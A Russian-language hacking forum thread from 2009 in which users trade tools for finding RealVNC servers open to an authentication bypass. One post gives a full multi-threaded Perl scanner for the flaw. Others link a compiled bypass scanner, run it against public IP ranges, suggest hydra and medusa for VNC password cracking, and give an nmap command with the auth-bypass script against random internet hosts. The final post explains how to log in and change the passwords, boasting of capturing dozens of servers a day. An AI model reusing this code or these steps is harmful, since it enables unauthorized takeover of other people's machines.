PDA

Просмотр полной версии : RealVNC Bypass Authentication Scanner


m1lo
11.06.2009, 13:20
помогите!! необходима прога RealVNC Bypass Authentication Scanner для линукса! а конкретно gentoo

поставил чтото - но оказалось что это просто vnc viewоблазил весь инет но так и ненашел где скачать RealVNC Bypass Authentication Scanner для генты!! заранее спс!!

Pernat1y
11.06.2009, 13:29
в MSF вроде был. попробуй :)

fl00der
11.06.2009, 13:42
Тыц-тыц-клац (http://rapidshare.com/files/243290292/VNC.exe.html)
А черт, тебе же для генты, а это виндовый! Тогда не знаю. Ну пусть все равно будет.

m1lo
11.06.2009, 20:55
Тыц-тыц-клац (http://rapidshare.com/files/243290292/VNC.exe.html)

дык мне не под винду надо!!! LINUX

Xcontrol212
11.06.2009, 21:24
внц сканер вроде и под винду и под линукс....

shellz[21h]
11.06.2009, 21:58
#!/usr/bin/perl
# Multi-threaded scan for OpenVNC 4.11 authentication bypass.
# Based on Tyler Krpata's Perl scanning code.

use strict;
use warnings;
use IO::Socket;
use threads;
use threads::shared;
use Errno qw(EAGAIN);

# Configuration variables
use constant VNC_PORT => 5900;
my $splits = 5; # Creates 2^N processes.
my $avg_time = 5; # Tweak this to get better time estimates.
our $subnet;

our @results : shared;
our $todo = 0;
my $orig_thread = "yes";
my $start;
my $end;
my $time_estimate;
my $elapsed = time;
my $out_file;

++$|; # To watch as the results come in, in real time.
$subnet = $ARGV[0] || ""; # Get subnet from command line, else ask for it.

while (1) {
last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/;
print "\nWhat subnet do you want to scan? ";
chomp($subnet = <STDIN>);
print "That does not look right. Enter something like 192.168.1.*\n\n";
}

# Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
$subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
$subnet .= ".";

$out_file = "VNC_" . $subnet . "txt";

# Mostly a guesstimate
$time_estimate = $avg_time * (256 / (2**$splits));
$time_estimate = int ($time_estimate / 60);
$time_estimate += 4;

print "\nScanning subnet ${subnet}x -- this should take approximately
$time_estimate minute(s).\n";
print "[!] = Vulnerable, = Safe, [.] = No response.\n\n";

CHECK: {
unless ($splits >= 0 && $splits <= 8) {
die "ERROR: Do not split $splits times--that makes no sense.\n";
}

unless ($splits <= 5) {
warn "Reduce the number of splits from $splits to 5 or less if you
get memory errors.\n\n";
}
}

# Ugly, but this works.
DivideWork() if $splits >= 1;
DivideWork() if $splits >= 2;
DivideWork() if $splits >= 3;
DivideWork() if $splits >= 4;
DivideWork() if $splits >= 5;
DivideWork() if $splits >= 6;
DivideWork() if $splits >= 7;
DivideWork() if $splits >= 8;

# Which IPs this thread scans.
$start = $todo << (8 - $splits);
$end = $start + (256 / (2**$splits)) - 1;

foreach ($start .. $end) {
Scan_VNC($_);
}

wait until $?; # Wait for children to finish.
exit unless $orig_thread eq "yes";

# Only the original parent thread will continue.

$elapsed = time - $elapsed;
$elapsed /= 60;
$elapsed = int $elapsed;

print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n";

SaveData();

exit;

####################################

sub DivideWork {
my $pid;

FORK: {
$todo *= 2;
if ($pid = fork) {
# Parent
++$todo;

} elsif (defined $pid) {
# Child
$orig_thread = "no";

} elsif ($! == EAGAIN) {
# Recoverable forking error.
sleep 7;
redo FORK;

} else {
# Unable to fork.
die "Unable to fork: $!\n";

}
}
}


sub SaveData {
my $vulns = 0;
open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!";

foreach my $IP (1..254) {
my $record;
$record = $results[$IP];

unless ($record =~ m/not vulnerable/io) {
++$vulns;
print FOUND $record;
}
}

print FOUND "\nVulnerabilites found: $vulns";
close(FOUND) or die "Cannot close $out_file -- $!";

print "Data saved to ${out_file}\n\n";
}

sub Scan_VNC {
# Scan for OpenVNC 4.11 authentication bypass.

my $hostnum = shift;
my $host = $subnet . $hostnum;
my $sock;
my $proto_ver;
my $ignored;
my $auth_type;
my $sec_types;
my $vnc_data;

$host or die("ERROR: no host passed to Scan_VNC.\n");

# The host numbers .0 and .255 are reserved; ignore them.
if ($hostnum <= 0 or $hostnum >= 255) { return; }

# Format things nicely--that crazy formula just adds spaces.
$results[$hostnum] = "$host";
$results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";

unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) {
$results[$hostnum] .= "Not vulnerable, no response.\n";
print ".";
return;
}

# Negotiate protocol version.
$sock->read($proto_ver, 12);
print $sock $proto_ver;

# Get supported security types and ignore them.
$sock->read($sec_types, 1);
$sock->read($ignored, unpack('C', $sec_types));

# Claim that we only support no authentication.
print $sock "\x01";

# We should get "0000" back, indicating that they won't fall back to no authentication.
$sock->read($auth_type, 4);
if (unpack('I', $auth_type)) {
$results[$hostnum] .= "Not vulnerable, refused to support
authentication type.\n";
print "*";
close($sock);
return;
}

# Client initialize.
print $sock "\x01";

# If the server starts sending data, we're in.
$sock->read($vnc_data, 4);

if (unpack('I', $vnc_data)) {
$results[$hostnum] .= "VULNERABLE! $proto_ver\n";
print "!";
} else {
$results[$hostnum] .= "Not vulnerable, did not send data.\n";
print "*";
}

close($sock);
return;
}

m1lo
11.06.2009, 22:07
shellz[21h] пасиб конечно, но мона пояснить как юзать скрипт

shellz[21h]
11.06.2009, 22:23
замени 31 строчку кода на last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/; там косяк в регулярке.
запускается вот так:
]$ perl vnc.pl 85.18.3 - будет сканить 85.18.3.*

m1lo
11.06.2009, 22:29
ок спс
буду пробывать

m1lo
11.06.2009, 22:38
так я в перле не шарю вообще


zaG-laptop code # perl realvnc.pl 77.232.1
realvnc.pl line 8:

This Perl hasn't been configured and built properly for the threads
module to work. (The 'useithreads' configuration option hasn't been used.)

Having threads support requires all of Perl and all of the XS modules in
the Perl installation to be rebuilt, it is not just a question of adding
the threads module. (In other words, threaded and non-threaded Perls
are binary incompatible.)

If you want to the use the threads module, please contact the people
who built your Perl.

Cannot continue, aborting.
BEGIN failed--compilation aborted at /usr/lib/perl5/5.8.8/i686-linux/threads.pm line 28.
Compilation failed in require at realvnc.pl line 8.
BEGIN failed--compilation aborted at realvnc.pl line 8.
zaG-laptop code #

shellz[21h]
12.06.2009, 05:04
http://damaged.no-ip.com/pub-dir/linux/admin-tools/VNC_bypauth-linux.tar.gz то что просил ;)

m1lo
12.06.2009, 10:16
']http://damaged.no-ip.com/pub-dir/linux/admin-tools/VNC_bypauth-linux.tar.gz то что просил ;)

спс скачал, помощь всеравно нужна)))


zaG-laptop download # ./VNC_bypauth -vnc 77.232.1

================================================[rev-0.0.1]==
========RealVNC <= 4.1.1 Bypass Authentication Scanner=======
============multi-threaded for Linux and Windows=============
================================================== ==[linux]==

[+] ERROR: ip and port not defined
zaG-laptop download # ./VNC_bypauth -p 5900 -vnc 77.232.1-255

================================================[rev-0.0.1]==
========RealVNC <= 4.1.1 Bypass Authentication Scanner=======
============multi-threaded for Linux and Windows=============
================================================== ==[linux]==

[+] ERROR: ip not defined
zaG-laptop download # ./VNC_bypauth -p 5900 77.232.1-255

================================================[rev-0.0.1]==
========RealVNC <= 4.1.1 Bypass Authentication Scanner=======
============multi-threaded for Linux and Windows=============
================================================== ==[linux]==

[+] ERROR: scan type not defined
zaG-laptop download # ./VNC_bypauth -p 5900 -vnc 77.232.1-255 -tc

================================================[rev-0.0.1]==
========RealVNC <= 4.1.1 Bypass Authentication Scanner=======
============multi-threaded for Linux and Windows=============
================================================== ==[linux]==

Ошибка сегментирования
zaG-laptop download #

shellz[21h]
12.06.2009, 20:06
eval@fork:~$ ./VNC_bypauth -p 5900 -i 213.95.20.1-213.95.20.254 -vnc -vv

m1lo
12.06.2009, 20:59
']eval@fork:~$ ./VNC_bypauth -p 5900 -i 213.95.20.1-213.95.20.254 -vnc -vv


А ПО МАСКЕ НЕЗЯ НИКАК?

shellz[21h]
12.06.2009, 21:50
да же не знаю, попробуй так ./VNC_bypauth -p 5900 -i 213.95.20.1-213.95.254.254 -vnc -vv

m1lo
13.06.2009, 00:10
ну да черт с ним, если вместо ипа писать например 213.95.*.* то постит ошибку!! ладно буду юзать как есть!! спс

m1lo
13.06.2009, 22:36
все работает норм, сканет норм.

вот только еси мона поясните
77.232.104.179 :5900 not_vnc4:nothing received
77.232.111.216 :5900 vnc4:patched
77.232.117.137 :5900 vnc4:banned
77.232.119.119 :5900 connection closed
при каждом сканировании в последней колонке бываю 4 типа вида
not_vnc4:nothing received ну и т.д. поясните какой что значит!

m1lo
13.06.2009, 22:52
вот ща сканил, еще один тип
94.232.29.127 :5900 vnc4:VULNERABLE

Never Mind
14.06.2009, 21:26
m1lo
не убивай себе мозг
VNC быстро чекают medusa и hydra
hydra лучше но в medusa есть папка doc в ней все разжевано ... начни с нее
а потом на hydra пересядешь, у них синтаксис одинаковый почти.
... удачи =)

m1lo
14.06.2009, 22:47
попробую)))) спс

Never Mind
15.06.2009, 01:16
упс... а для скана диапазонов на открытый vnc 5900 лучше nmap не найдеш ни чего. для него мануал на русском языке подробный на сайте разработчика есть. наберись терпения изучи его и забудешь про другие ваще..
nmap для скана + hydra для чека = счастье )

m1lo
16.06.2009, 22:11
упс... а для скана диапазонов на открытый vnc 5900 лучше nmap не найдеш ни чего. для него мануал на русском языке подробный на сайте разработчика есть. наберись терпения изучи его и забудешь про другие ваще..
nmap для скана + hydra для чека = счастье )


пасиб! буду разбиратося))

m1lo
20.06.2009, 09:24
вот еще какая та трабла
запускаю короче
./VNC_bypauth -p 5900 -i 192.168.1.1-192.168.195.254 -vnc -vv

сканит ,находи десяток, а потом

terminate called after throwing an instance of 'St9bad_alloc'10
what(): std::bad_alloc
Аварийный останов I:28341 S:56 % TH:381 0:04:10/0:03:10
в чем проблема?

m1lo
20.06.2009, 09:50
а НМапом вот

# nmap -sX -p 5900 192.168.*.*

Starting Nmap 4.85BETA9 ( http://nmap.org ) at 2009-06-20 09:41 UTC
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

и потом толи он зависает толи хз

m1lo
20.06.2009, 10:02
все с нмапом разрулился))

NeuRonix
21.06.2009, 11:33
Подскажите,можно ли НМапом сканить 3389 порты по указанному списку IP-ов в текстовике?!

m1lo
21.06.2009, 19:24
да можно

я делаю это так

nmap -p 445 -oN /home/zag/nmap.txt 192.189.*.*

поставь свои данные порт, путь к файлу, и диапазон и все!

roleg
09.08.2009, 17:49
nmap -iR 100000 -PN -n -p 5900 --open --script realvnc-auth-bypass.nse > vnc.txt
для винды потом можно с помошью компиленой 05162006-BL4CK-vncviewer-authbypass.exe заходим и меняем пас.
а для линуха нужно править исходник vncviewer, вот видео http://www.youtube.com/watch?v=D7e0ST30FnE

если правильно распределить время и иметь хорошый пинг в мир можно пол сотни дедиков в день находить